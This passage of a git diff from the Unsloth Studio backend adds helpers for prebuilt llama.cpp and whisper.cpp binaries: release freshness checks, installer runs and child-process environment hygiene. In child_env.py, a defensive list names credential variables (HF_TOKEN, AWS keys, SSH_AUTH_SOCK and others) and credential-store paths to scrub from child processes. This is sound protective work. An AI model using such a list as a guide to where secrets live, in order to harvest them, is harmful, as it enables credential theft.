-    xdg_cache = Path(os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache")).expanduser()
-    # HUGGINGFACE_HUB_CACHE is HF's legacy alias for HF_HUB_CACHE; honor it.
-    if "HF_HUB_CACHE" not in os.environ and os.environ.get("HUGGINGFACE_HUB_CACHE"):
-        os.environ["HF_HUB_CACHE"] = os.environ["HUGGINGFACE_HUB_CACHE"]
-    # Seed the hub/xet caches from HF_HOME when set, else the platform default.
-    # Strip so a blank/whitespace HF_HOME falls back instead of making " /hub".
-    hf_home = (os.environ.get("HF_HOME") or "").strip()
-    hf_base = Path(hf_home).expanduser() if hf_home else xdg_cache / "huggingface"
+    from utils.hf_cache_settings import initialize_hf_cache_environment
+
+    initialize_hf_cache_environment()
     defaults: dict[str, str] = {
-        "HF_HOME": str(hf_base),
-        "HF_HUB_CACHE": str(hf_base / "hub"),
-        "HF_XET_CACHE": str(hf_base / "xet"),
         "UV_CACHE_DIR": str(root / "uv"),
         "VLLM_CACHE_ROOT": str(root / "vllm"),
     }
@@ -443,7 +436,7 @@ def resolve_export_write_dir(path_value: str | None = None) -> Path:
 
     Unlike :func:`resolve_export_dir`, this function passes absolute
     paths through as-is so users can target a different drive when
-    their Studio install lives on a constrained system volume
+    their Unsloth install lives on a constrained system volume
     (see :gh-issue:`6082`). Used only by the export write path.
     """
     if not path_value or not str(path_value).strip():
diff --git a/studio/backend/utils/prebuilt/__init__.py b/studio/backend/utils/prebuilt/__init__.py
new file mode 100644
index 0000000000..c41cd1150d
--- /dev/null
+++ b/studio/backend/utils/prebuilt/__init__.py
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Backend-importable prebuilt helpers.
+
+The installers reuse install_llama_prebuilt.py directly; this package holds the
+backend-side shapes the studio/ scripts cannot provide (the backend runs with
+studio/backend as its sys.path root): runtime_libs (wheel CUDA dirs), child_env
+(secret scrubbing + WSL ROCm dirs), freshness_flow and update_flow (the shared
+mechanics behind the *_cpp_freshness / *_cpp_update twins).
+"""
diff --git a/studio/backend/utils/prebuilt/child_env.py b/studio/backend/utils/prebuilt/child_env.py
new file mode 100644
index 0000000000..b6b7a40df7
--- /dev/null
+++ b/studio/backend/utils/prebuilt/child_env.py
@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Child-process environment hygiene for the managed ggml servers.
+
+Secret-env scrubbing and the WSL2 ROCm library-dir probe, shared by the STT
+sidecar (and any future launcher of a downloaded binary). Kept in sync with
+install_llama_prebuilt.py's scrub_env / _wsl_system_rocm_lib_dirs; the backend
+cannot import the studio/ installer scripts, so this copy stays importable with
+only the backend root on sys.path.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+from typing import Mapping
+
+SECRET_ENV_EXACT = frozenset(
+    {
+        "HF_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "WANDB_API_KEY",
+        "OPENAI_API_KEY",
+        "ANTHROPIC_API_KEY",
+        "AWS_ACCESS_KEY_ID",
+        "AWS_SECRET_ACCESS_KEY",
+        "AWS_SESSION_TOKEN",
+        "GOOGLE_APPLICATION_CREDENTIALS",
+        "AZURE_CLIENT_SECRET",
+        "KUBECONFIG",
+        "SSH_AUTH_SOCK",
+    }
+)
+# Case-insensitive substring markers for names we do not enumerate (no bare "KEY").
+SECRET_ENV_MARKERS = (
+    "TOKEN",
+    "SECRET",
+    "PASSWORD",
+    "PASSWD",
+    "PASSPHRASE",
+    "CREDENTIAL",
+    "PRIVATE_KEY",
+    "API_KEY",
+)
+# Proxy / index URLs embed creds in their value; the offline server never needs them.
+SECRET_ENV_URL_NAMES = frozenset(
+    {
+        "HTTP_PROXY",
+        "HTTPS_PROXY",
+        "ALL_PROXY",
+        "FTP_PROXY",
+        "RSYNC_PROXY",
+        "PIP_INDEX_URL",
+        "PIP_EXTRA_INDEX_URL",
+        "UV_INDEX_URL",
+        "UV_DEFAULT_INDEX",
+        "UV_EXTRA_INDEX_URL",
+    }
+)
+# Also drop values with URL userinfo creds (scheme://user:secret@host).
+URL_USERINFO_RE = re.compile(r"://[^/@\s]+@")
+
+
+def is_secret_env_name(name: str) -> bool:
+    upper = name.upper()
+    return (
+        upper in SECRET_ENV_EXACT
+        or upper in SECRET_ENV_URL_NAMES
+        or any(marker in upper for marker in SECRET_ENV_MARKERS)
+    )
+
+
+def scrub_env(env: Mapping[str, str]) -> dict[str, str]:
+    """Copy of ``env`` without secret-bearing names or URL-userinfo values."""
+    return {
+        k: v
+        for k, v in env.items()
+        if not is_secret_env_name(k) and not URL_USERINFO_RE.search(v or "")
+    }
+
+
+# Filesystem pointers a downloaded binary could follow to on-disk credential
+# stores (token caches under $HF_HOME, ~/.netrc, XDG config). Dropped, not
+# repointed; the offline inference server needs none. Mirrors the cred-location
+# list of the tools bypass env (core/inference/tools.py).
+CRED_LOCATION_ENV_NAMES = frozenset(
+    {
+        "HF_HOME",
+        "HF_HUB_CACHE",
+        "HUGGINGFACE_HUB_CACHE",
+        "HF_XET_CACHE",
+        "TRANSFORMERS_CACHE",
+        "HF_DATASETS_CACHE",
+        "XDG_CONFIG_HOME",
+        "XDG_CACHE_HOME",
+        "XDG_DATA_HOME",
+        "NETRC",
+        "BASH_ENV",
+        "GIT_CONFIG_GLOBAL",
+        "GIT_CONFIG_SYSTEM",
+        "GIT_ASKPASS",
+        "SSH_ASKPASS",
+        "HOMEDRIVE",
+        "HOMEPATH",
+    }
+)
+# Home dirs are repointed (not dropped): loaders and SDKs expect them present,
+# but they must not resolve to the user's real profile with its token caches.
+HOME_ENV_NAMES = ("HOME", "USERPROFILE", "APPDATA", "LOCALAPPDATA")
+
+
+def isolate_home(env: dict[str, str], scratch_dir: str) -> dict[str, str]:
+    """Repoint home/profile vars at ``scratch_dir`` and drop credential-store
+    pointers so a compromised downloaded server cannot read token caches or cred
+    files through the environment. Mutates and returns ``env``."""
+    os.makedirs(scratch_dir, exist_ok = True)
+    for name in HOME_ENV_NAMES:
+        if name in env:
+            env[name] = scratch_dir
+    for name in CRED_LOCATION_ENV_NAMES:
+        env.pop(name, None)
+    return env
+
+
+def wsl_system_rocm_lib_dirs() -> list[str]:
+    """System ROCm lib dir(s) to load before a bundle's HIP on WSL2. Strict no-op
+    off WSL (needs /dev/dxg, a "microsoft" /proc/version, and a librocdxg)."""
+    try:
+        if not os.path.exists("/dev/dxg"):
+            return []
+        with open("/proc/version", encoding = "utf-8", errors = "replace") as fh:
+            if "microsoft" not in fh.read().lower():
+                return []
+    except OSError:
+        return []
+    dirs: list[str] = []
+    for d in ("/opt/rocm/lib", "/opt/rocm/lib64"):
+        if os.path.exists(os.path.join(d, "librocdxg.so")) or os.path.exists(
+            os.path.join(d, "librocdxg.so.1")
+        ):
+            dirs.append(d)
+    return dirs
diff --git a/studio/backend/utils/prebuilt/freshness_flow.py b/studio/backend/utils/prebuilt/freshness_flow.py
new file mode 100644
index 0000000000..b90ebf776c
--- /dev/null
+++ b/studio/backend/utils/prebuilt/freshness_flow.py
@@ -0,0 +1,325 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared mechanics of the llama.cpp / whisper.cpp prebuilt freshness checks.
+
+The component modules (utils.llama_cpp_freshness / utils.whisper_cpp_freshness)
+keep their public names, per-module caches, and version-comparison policy;
+everything mechanical (marker walk-up, GitHub release fetch, memo + disk cache,
+the freshness report skeleton) lives here, parameterized by call-time callables
+so the modules' monkeypatch seams keep working.
+"""
+
+from __future__ import annotations
+
+import json
+import time
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Callable, Optional
+
+import structlog
+
+logger = structlog.get_logger(__name__)
+
+# 24h TTL keeps the GitHub call off the hot path and within rate limits.
+RELEASE_CACHE_TTL_SECONDS = 24 * 60 * 60
+
+
+def read_install_marker(
+    binary_path: Optional[str],
+    *,
+    marker_name: str,
+    cache: dict[str, Optional[dict]],
+    log_message: str,
+) -> Optional[dict]:
+    """Walk up from binary_path to find the install marker JSON.
+    None = no marker (source build / custom path) or invalid JSON."""
+    if not binary_path:
+        return None
+    cached = cache.get(binary_path)
+    if cached is not None or binary_path in cache:
+        return cached
+    p = Path(binary_path)
+    marker: Optional[dict] = None
+    # Cover all managed binary layouts (binary is 1-4 dirs deep).
+    for parent in p.parents[:5]:
+        candidate = parent / marker_name
+        if candidate.is_file():
+            try:
+                marker = json.loads(candidate.read_text(encoding = "utf-8"))
+            except (OSError, json.JSONDecodeError) as exc:
+                logger.debug(log_message, path = str(candidate), error = str(exc))
+                marker = None
+            break
+    cache[binary_path] = marker
+    return marker
+
+
+def cache_path_for(repo: str, cache_dir: Path) -> Path:
+    safe = repo.replace("/", "__")
+    return cache_dir / f"{safe}.json"
+
+
+def load_disk_cache(repo: str, cache_dir: Path) -> Optional[tuple[float, Optional[str]]]:
+    path = cache_path_for(repo, cache_dir)
+    try:
+        payload = json.loads(path.read_text(encoding = "utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return None
+    ts = payload.get("fetched_at")
+    tag = payload.get("latest_tag")
+    if not isinstance(ts, (int, float)):
+        return None
+    return float(ts), tag if isinstance(tag, str) else None
+
+
+def save_disk_cache(
+    repo: str, latest_tag: Optional[str], cache_dir: Path, *, log_message: str
+) -> None:
+    path = cache_path_for(repo, cache_dir)
+    try:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        tmp = path.with_suffix(".tmp")
+        tmp.write_text(
+            json.dumps({"fetched_at": time.time(), "latest_tag": latest_tag}),
+            encoding = "utf-8",
+        )
+        tmp.replace(path)
+    except OSError as exc:
+        logger.debug(log_message, repo = repo, error = str(exc))
+
+
+def _fetch_newest_published_release(
+    repo: str, timeout: float, *, log_message: str
+) -> Optional[dict]:
+    """Newest published (non-draft/non-prerelease) release object for `repo`, by
+    ``published_at``.
+
+    Resolves "latest" the way the installers do, NOT via GitHub's
+    ``/releases/latest`` pointer, which sorts by commit date and can lag the
+    build the installer installs (detection and apply then disagree -- the
+    downgrade/sticky-banner bug). None on any failure (offline, rate-limited)."""
+    import os
+    import urllib.error
+    import urllib.request
+
+    url = f"https://api.github.com/repos/{repo}/releases?per_page=30"
+    headers = {
+        "Accept": "application/vnd.github+json",
+        "User-Agent": "unsloth-studio-freshness-check",
+    }
+    token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
+    if token:
+        headers["Authorization"] = f"Bearer {token}"
+    req = urllib.request.Request(url, headers = headers)
+    try:
+        with urllib.request.urlopen(req, timeout = timeout) as resp:
+            data = json.loads(resp.read().decode("utf-8"))
+    except (
+        urllib.error.URLError,
+        urllib.error.HTTPError,
+        OSError,
+        json.JSONDecodeError,
+    ) as exc:
+        logger.debug(log_message, repo = repo, error = str(exc))
+        return None
+    if not isinstance(data, list):
+        return None
+    published = [
+        r
+        for r in data
+        if isinstance(r, dict)
+        and not r.get("draft")
+        and not r.get("prerelease")
+        and isinstance(r.get("tag_name"), str)
+        and r.get("tag_name")
+    ]
+    if not published:
+        return None
+    return max(published, key = lambda r: r.get("published_at") or "")
+
+
+def fetch_latest_release_tag(
+    repo: str,
+    timeout: float = 5.0,
+    *,
+    log_message: str,
+) -> Optional[str]:
+    """Newest published release tag for `repo`, by publish time. None on failure."""
+    newest = _fetch_newest_published_release(repo, timeout, log_message = log_message)
+    return newest["tag_name"] if newest else None
+
+
+def fetch_latest_release_assets(
+    repo: str,
+    timeout: float = 5.0,
+    *,
+    log_message: str,
+) -> Optional[dict[str, int]]:
+    """Asset name -> size (bytes) for the newest published release of `repo`,
+    selected exactly like fetch_latest_release_tag. None on any failure."""
+    newest = _fetch_newest_published_release(repo, timeout, log_message = log_message)
+    if newest is None:
+        return None
+    assets: dict[str, int] = {}
+    for a in newest.get("assets") or []:
+        name, size = a.get("name"), a.get("size")
+        if isinstance(name, str) and isinstance(size, int):
+            assets[name] = size
+    return assets
+
+
+def latest_published_release(
+    repo: str,
+    *,
+    force_refresh: bool,
+    memo: dict[str, tuple[float, Optional[str]]],
+    cache_dir: Callable[[], Path],
+    fetch: Callable[[str], Optional[str]],
+    save: Callable[[str, Optional[str]], None],
+) -> Optional[str]:
+    """Latest release tag for `repo`. Memo + disk-cached (24h TTL).
+    None when offline and never previously cached."""
+    if not repo:
+        return None
+    now = time.time()
+    if not force_refresh:
+        cached = memo.get(repo)
+        if cached and now - cached[0] < RELEASE_CACHE_TTL_SECONDS:
+            return cached[1]
+        disk = load_disk_cache(repo, cache_dir())
+        if disk and now - disk[0] < RELEASE_CACHE_TTL_SECONDS:
+            memo[repo] = disk
+            return disk[1]
+    latest = fetch(repo)
+    if latest is None:
+        # Keep the last-good disk value rather than poison it with None.
+        disk = load_disk_cache(repo, cache_dir())
+        if disk:
+            memo[repo] = disk
+            return disk[1]
+        return None
+    memo[repo] = (now, latest)
+    save(repo, latest)
+    return latest
+
+
+def latest_release_assets(
+    repo: str,
+    *,
+    force_refresh: bool,
+    memo: dict[str, tuple[float, dict[str, int]]],
+    fetch: Callable[[str], Optional[dict[str, int]]],
+) -> Optional[dict[str, int]]:
+    """Newest-release asset sizes for `repo`, memoized (24h TTL). None when
+    offline and never fetched. In-memory only -- a restart re-fetches."""
+    if not repo:
+        return None
+    now = time.time()
+    if not force_refresh:
+        cached = memo.get(repo)
+        if cached and now - cached[0] < RELEASE_CACHE_TTL_SECONDS:
+            return cached[1]
+    assets = fetch(repo)
+    if assets is None:
+        cached = memo.get(repo)
+        return cached[1] if cached else None
+    memo[repo] = (now, assets)
+    return assets
+
+
+def parse_installed_at(value: object) -> Optional[datetime]:
+    if not isinstance(value, str) or not value:
+        return None
+    s = value.replace("Z", "+00:00") if value.endswith("Z") else value
+    try:
+        dt = datetime.fromisoformat(s)
+    except ValueError:
+        return None
+    if dt.tzinfo is None:
+        dt = dt.replace(tzinfo = timezone.utc)
+    return dt
+
+
+def check_freshness(
+    binary_path: Optional[str],
+    *,
+    threshold_days: int,
+    now: Optional[datetime],
+    read_marker: Callable[[Optional[str]], Optional[dict]],
+    latest_release: Callable[[str], Optional[str]],
+    behind: Callable[[Optional[str], Optional[str]], bool],
+    display_tag: Callable[[dict], Any],
+    compare_tag: Callable[[dict], Any],
+) -> dict:
+    """Freshness report skeleton shared by both components; the component's
+    marker-tag choice and is_behind policy come in as callables. Fails open on
+    missing data (behind/stale stay False)."""
+    out: dict = {
+        "has_marker": False,
+        "stale": False,
+        "behind": False,
+        "installed_tag": None,
+        "latest_tag": None,
+        "installed_at_utc": None,
+        "age_days": None,
+        "published_repo": None,
+        "threshold_days": int(threshold_days),
+    }
+    marker = read_marker(binary_path)
+    if not marker:
+        return out
+    out["has_marker"] = True
+    out["installed_tag"] = display_tag(marker)
+    out["installed_at_utc"] = marker.get("installed_at_utc")
+    out["published_repo"] = marker.get("published_repo")
+
+    installed_full = compare_tag(marker)
+    repo = out["published_repo"]
+    if not repo or not installed_full:
+        return out
+    latest = latest_release(repo)
+    out["latest_tag"] = latest
+    out["behind"] = behind(installed_full, latest)
+    if not out["behind"]:
+        return out
+
+    installed_at = parse_installed_at(out["installed_at_utc"])
+    if installed_at is None:
+        return out
+    now = now or datetime.now(tz = timezone.utc)
+    age_seconds = (now - installed_at).total_seconds()
+    out["age_days"] = max(0, int(age_seconds // 86400))
+    if age_seconds >= threshold_days * 86400:
+        out["stale"] = True
+    return out
+
+
+def format_stale_warning(info: dict, *, component: str) -> str:
+    """Human-readable one-liner for stale prebuilt info."""
+    age = info.get("age_days")
+    installed = info.get("installed_tag") or "unknown"
+    latest = info.get("latest_tag") or "unknown"
+    age_str = f"{age} day{'s' if age != 1 else ''}" if age is not None else "some time"
+    return (
+        f"{component} prebuilt is {age_str} behind: installed "
+        f"{installed}, latest {latest}. Run `unsloth studio update` "
+        f"to refresh."
+    )
+
+
+def reset_caches(
+    caches: tuple[dict, ...], *, drop_disk: bool, cache_dir: Callable[[], Path]
+) -> None:
+    """Drop the in-memory freshness caches; with drop_disk also the on-disk 24h
+    release cache (see the component modules for why)."""
+    for cache in caches:
+        cache.clear()
+    if drop_disk:
+        import shutil
+
+        # cache_dir() is a dedicated freshness-only subdir, re-created on the next
+        # save_disk_cache. ignore_errors so a missing/locked dir is a no-op rather
+        # than breaking an otherwise successful install.
+        shutil.rmtree(cache_dir(), ignore_errors = True)
diff --git a/studio/backend/utils/prebuilt/runtime_libs.py b/studio/backend/utils/prebuilt/runtime_libs.py
new file mode 100644
index 0000000000..6e51fb8246
--- /dev/null
+++ b/studio/backend/utils/prebuilt/runtime_libs.py
@@ -0,0 +1,65 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""CUDA runtime dirs shipped inside Python wheels, for the STT sidecar's child env.
+
+Kept in sync with install_llama_prebuilt.py's python_runtime_dirs; the backend
+cannot import the studio/ installer scripts, so this small copy stays importable
+with only the backend root on sys.path.
+"""
+
+from __future__ import annotations
+
+import site
+import sys
+from pathlib import Path
+from typing import Iterable
+
+
+def dedupe_existing_dirs(paths: Iterable[str | Path]) -> list[str]:
+    unique: list[str] = []
+    seen: set[str] = set()
+    for raw in paths:
+        if not raw:
+            continue
+        try:
+            path = Path(raw).expanduser()
+            if not path.is_dir():
+                continue
+            resolved = str(path.resolve())
+        except (OSError, ValueError):
+            continue
+        if resolved in seen:
+            continue
+        seen.add(resolved)
+        unique.append(resolved)
+    return unique
+
+
+def python_runtime_dirs() -> list[str]:
+    """CUDA runtime dirs shipped inside Python wheels (torch + nvidia-* wheels)."""
+    candidates: list[Path] = []
+    search_roots = [Path(entry) for entry in sys.path if entry]
+    try:
+        search_roots.extend(Path(path) for path in site.getsitepackages())
+    except Exception:
+        pass
+    try:
+        user_site = site.getusersitepackages()
+        if user_site:
+            search_roots.append(Path(user_site))
+    except Exception:
+        pass
+
+    for root in search_roots:
+        if not root.is_dir():
+            continue
+        candidates.extend(root.glob("nvidia/*/lib"))  # Linux convention
+        candidates.extend(root.glob("nvidia/*/bin"))  # legacy modular Windows wheels
+        candidates.extend(root.glob("nvidia/*/bin/x86_64"))  # CUDA 13 Windows wheel layout
+        candidates.extend(root.glob("nvidia/*/bin/x64"))
+        candidates.extend(root.glob("nvidia/*/Library/bin"))  # conda-style repacks
+        candidates.extend(root.glob("nvidia/*/Library/bin/x86_64"))
+        candidates.extend(root.glob("nvidia/*/Library/bin/x64"))
+        candidates.extend(root.glob("torch/lib"))
+    return dedupe_existing_dirs(candidates)
diff --git a/studio/backend/utils/prebuilt/update_flow.py b/studio/backend/utils/prebuilt/update_flow.py
new file mode 100644
index 0000000000..74af0c18f9
--- /dev/null
+++ b/studio/backend/utils/prebuilt/update_flow.py
@@ -0,0 +1,447 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared mechanics of the llama.cpp / whisper.cpp in-app prebuilt updates.
+
+The component modules (utils.llama_cpp_update / utils.whisper_cpp_update) keep
+their public names, job dicts, and update policy (version comparison, pinning,
+pre/post install steps); everything mechanical (managed-root resolution,
+local-link detection, the resolve probe, the streamed installer run) lives here,
+parameterized so the modules' monkeypatch seams keep working.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import subprocess
+import sys
+import threading
+import time
+from pathlib import Path
+from typing import Callable, Optional
+
+import structlog
+
+from utils.process_lifetime import child_popen_kwargs
+
+logger = structlog.get_logger(__name__)
+
+# Markerless (source-build) resolve answers are memoized for 24h; only
+# successful answers are cached so a network blip retries.
+RESOLVE_TTL_SECONDS = 24 * 60 * 60
+
+# Matches the installer's download progress lines, e.g.
+# "Downloading x.zip:  35.0% (12.3 MiB/35.1 MiB) at 8.2 MiB/s".
+PROGRESS_LINE_RE = re.compile(r"(\d+(?:\.\d+)?)%\s*\(")
+# The download dominates the update; extract/validate fill the last slice.
+DOWNLOAD_PROGRESS_CEILING = 0.95
+
+
+class InstallerExit(RuntimeError):
+    """Installer subprocess exited nonzero; carries the exit code so phase
+    runners can special-case contractual codes (whisper's 2 = unavailable)."""
+
+    def __init__(self, returncode: int, message: str) -> None:
+        super().__init__(message)
+        self.returncode = returncode
+
+
+JOB_IDLE = "idle"
+JOB_RUNNING = "running"
+JOB_SUCCESS = "success"
+JOB_ERROR = "error"
+
+# Per-phase states inside a chained job's "phases" breakdown.
+PHASE_PENDING = "pending"
+PHASE_RUNNING = "running"
+PHASE_SUCCESS = "success"
+PHASE_ERROR = "error"
+PHASE_SKIPPED = "skipped"
+
+_IDLE_JOB_FIELDS = dict(
+    state = JOB_IDLE,
+    message = "",
+    from_tag = None,
+    to_tag = None,
+    reload_required = None,
+    error = None,
+    progress = None,
+    started_at = None,
+    finished_at = None,
+    phases = None,
+)
+
+
+def new_job() -> dict:
+    """A fresh idle job-state dict (one per component module)."""
+    return dict(_IDLE_JOB_FIELDS)
+
+
+def reset_job(job: dict, job_lock: threading.Lock) -> None:
+    """Return a job tracker to idle (test seam)."""
+    with job_lock:
+        job.update(_IDLE_JOB_FIELDS)
+
+
+def utcnow() -> str:
+    return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
+
+
+def is_under(path: Path, root: Path) -> bool:
+    try:
+        p, r = path.resolve(), root.resolve()
+    except (OSError, ValueError):
+        p, r = path, root
+    return p == r or r in p.parents
+
+
+def install_dir_for(binary_path: Optional[str], *, marker_name: str) -> Optional[Path]:
+    """The directory holding the install marker: the install root the installer
+    wrote and the one we re-install into. Walks up from the binary like the
+    freshness marker reader does."""
+    if not binary_path:
+        return None
+    p = Path(binary_path)
+    for parent in p.parents[:5]:
+        if (parent / marker_name).is_file():
+            return parent
+    return None
+
+
+def find_installer_script(*, env_var: str, script_name: str) -> Optional[Path]:
+    """Locate the installer script. Honours the env override, then searches up
+    from this file for both ``<root>/<script>`` and ``<root>/studio/<script>`` so
+    it works in the dev tree and in an installed Unsloth layout."""
+    env = os.environ.get(env_var)
+    if env and Path(env).is_file():
+        return Path(env)
+    here = Path(__file__).resolve()
+    for up in here.parents:
+        for cand in (up / script_name, up / "studio" / script_name):
+            if cand.is_file():
+                return cand
+    return None
+
+
+def resolve_prebuilt_for_host(
+    *,
+    force_refresh: bool,
+    memo: dict,
+    installer_script: Callable[[], Optional[Path]],
+    log_message: str,
+    extra_args: tuple[str, ...] = (),
+) -> Optional[dict]:
+    """Run ``<installer> --resolve-prebuilt latest --output-format json`` (no
+    download); return the parsed payload or None. Fail-open: any error -> None so
+    a source build never blocks the app."""
+    now = time.time()
+    cache_key = tuple(extra_args)
+    if not force_refresh and memo.get("key") == cache_key:
+        if now - memo.get("at", 0.0) < RESOLVE_TTL_SECONDS:
+            return memo.get("value")
+    script = installer_script()
+    if script is None:
+        return None
+    value: Optional[dict] = None
+    try:
+        cmd = [
+            sys.executable,
+            str(script),
+            "--resolve-prebuilt",
+            "latest",
+            "--output-format",
+            "json",
+            *extra_args,
+        ]
+        proc = subprocess.run(
+            cmd,
+            capture_output = True,
+            text = True,
+            timeout = 60,
+        )
+        out = (proc.stdout or "").strip()
+        if proc.returncode == 0 and out:
+            parsed = json.loads(out.splitlines()[-1])
+            if isinstance(parsed, dict):
+                value = parsed
+    except Exception as exc:  # pragma: no cover - subprocess/json defensive
+        logger.debug(log_message, error = str(exc))
+        value = None
+    if value is not None:  # cache real answers; let failures retry next poll
+        memo.update(at = now, key = cache_key, value = value)
+    return value
+
+
+def is_external_link(path: Optional[Path]) -> bool:
+    """True when ``path`` is a locally-linked component dir: a POSIX symlink or a
+    Windows junction / reparse point. Such a link resolves into the user's own
+    checkout, so Unsloth must never auto-update it."""
+    if path is None:
+        return False
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
+def active_install_is_local_link(binary: Optional[str], *, dir_name: str) -> bool:
+    """True when the active server binary resolves through a locally-linked
+    component directory. An update would write through that link into the user's
+    checkout (or fail), so the install is treated as externally managed: none is
+    offered or applied. Checks only up to and including the component dir so a
+    symlinked HOME / studio root above it can't trip a false positive."""
+    if not binary:
+        return False
+    for parent in Path(binary).parents:
+        if is_external_link(parent):
+            return True
+        if parent.name == dir_name:
+            break
+    return False
+
+
+def managed_install_root(
+    binary: Optional[str],
+    *,
+    marker_root: Optional[Path],
+    server_path_var: str,
+    cpp_path_var: str,
+    dir_name: str,
+) -> Optional[Path]:
+    """The Unsloth-managed component root the active binary lives under, or None
+    when unmanaged. Installing where the active binary is not would not replace
+    what discovery runs (a pinned server path, then the custom dir, then a
+    component tree), so we refuse rather than install into an inactive or foreign
+    tree."""
+    if marker_root is not None:
+        return marker_root
+    if not binary:
+        return None
+    # The server-path pin is an explicit user choice that wins in discovery; never
+    # auto-replace its tree (even the user's own checkout).
+    if os.environ.get(server_path_var):
+        return None
+    p = Path(binary)
+    env = os.environ.get(cpp_path_var)
+    if env and is_under(p, Path(env)):
+        return Path(env)
+    for parent in p.parents:
+        if parent.name == dir_name:
+            return parent
+    # PATH / system / custom install: not a managed tree, so do not offer.
+    return None
+
+
+def local_link_status(job: dict, job_lock: threading.Lock) -> dict:
+    """Status payload for a local-link install: unmanaged, no update offered."""
+    with job_lock:
+        snapshot = dict(job)
+    return {
+        "supported": False,
+        "update_available": False,
+        "stale": False,
+        "installed_tag": None,
+        "latest_tag": None,
+        "published_repo": None,
+        "installed_at_utc": None,
+        "age_days": None,
+        "source_build": False,
+        "local_link": True,
+        "update_size_bytes": None,
+        "job": snapshot,
+    }
+
+
+def rocm_install_args(asset: Optional[str]) -> list[str]:
+    """Forward --rocm-gfx/--has-rocm from the marker asset, mirroring setup.sh.
+    The installer probe can miss the gfx arch on amd-smi-only hosts; per-gfx ROCm
+    bundles carry the family in the name (rocm-gfx110X), version-tagged bundles
+    only rocm/hip."""
+    if not asset:
+        return []
+    low = asset.lower()
+    if "rocm" not in low and "hip" not in low:
+        return []
+    gfx = re.search(r"-gfx[0-9a-z]+", low)
+    if gfx:
+        return ["--rocm-gfx", gfx.group(0).lstrip("-")]
+    return ["--has-rocm"]
+
+
+def stream_installer(
+    cmd: list[str],
+    env: dict[str, str],
+    *,
+    timeout_seconds: int,
+    job: Optional[dict] = None,
+    job_lock: Optional[threading.Lock] = None,
+    set_progress: Optional[Callable[[float], None]] = None,
+) -> None:
+    """Run the installer, streaming its progress lines into job["progress"]
+    (or through set_progress when given, e.g. a chained-phase progress window).
+    Raises RuntimeError on timeout or a nonzero exit (with an output tail)."""
+    if set_progress is None:
+        assert job is not None and job_lock is not None
+
+        def set_progress(fraction: float) -> None:
+            with job_lock:
+                job["progress"] = max(job.get("progress") or 0.0, fraction)
+
+    proc = subprocess.Popen(
+        cmd,
+        stdout = subprocess.PIPE,
+        stderr = subprocess.STDOUT,
+        text = True,
+        env = env,
+        **child_popen_kwargs(),
+    )
+    timed_out = threading.Event()
+
+    def _kill_on_timeout() -> None:
+        timed_out.set()
+        proc.kill()
+
+    watchdog = threading.Timer(timeout_seconds, _kill_on_timeout)
+    watchdog.daemon = True
+    watchdog.start()
+    tail_lines: list[str] = []
+    try:
+        assert proc.stdout is not None
+        for line in proc.stdout:
+            tail_lines.append(line)
+            if len(tail_lines) > 80:
+                del tail_lines[0]
+            m = PROGRESS_LINE_RE.search(line)
+            if m is None:
+                continue
+            set_progress(min(float(m.group(1)) / 100.0, 1.0) * DOWNLOAD_PROGRESS_CEILING)
+        returncode = proc.wait()
+    finally:
+        watchdog.cancel()
+    if timed_out.is_set():
+        raise RuntimeError(f"installer timed out after {timeout_seconds}s")
+    if returncode != 0:
+        tail = "".join(tail_lines).strip()[-1500:]
+        raise InstallerExit(returncode, f"installer exited {returncode}: {tail or 'no output'}")
+
+
+def _new_phase_record(spec: dict) -> dict:
+    """Initial breakdown entry for one phase of a chained job."""
+    runnable = spec.get("run") is not None
+    return {
+        "state": PHASE_PENDING if runnable else PHASE_SKIPPED,
+        "reason": None if runnable else spec.get("skip_reason"),
+        "progress": None,
+        "to_tag": None,
+        "reload_required": None,
+        "message": "",
+        "error": None,
+    }
+
+
+def run_chained_update(phases: list[dict], *, job: dict, job_lock: threading.Lock) -> None:
+    """Run update phases in order into one shared job dict (the worker of a
+    combined llama+whisper apply).
+
+    Each phase spec: ``name`` (breakdown key), ``weight`` (progress slice,
+    normalized over runnable phases), ``run`` (callable(set_progress) -> result
+    dict with to_tag/reload_required/message, raises on failure; None = skipped)
+    and ``skip_reason`` / ``failure_message``. A failing phase aborts the chain:
+    later phases are marked skipped (reason "aborted") and the job goes to error,
+    keeping the reload_required and messages of already-succeeded phases so a
+    partial success stays visible."""
+    runnable = [p for p in phases if p.get("run") is not None]
+    total_weight = sum(float(p.get("weight") or 1.0) for p in runnable) or 1.0
+    with job_lock:
+        job["phases"] = {p["name"]: _new_phase_record(p) for p in phases}
+
+    offset = 0.0
+    done_messages: list[str] = []
+    reload_required = False
+    primary_to_tag: Optional[str] = None
+    for index, phase in enumerate(phases):
+        if phase.get("run") is None:
+            continue
+        name = phase["name"]
+        weight = float(phase.get("weight") or 1.0) / total_weight
+        with job_lock:
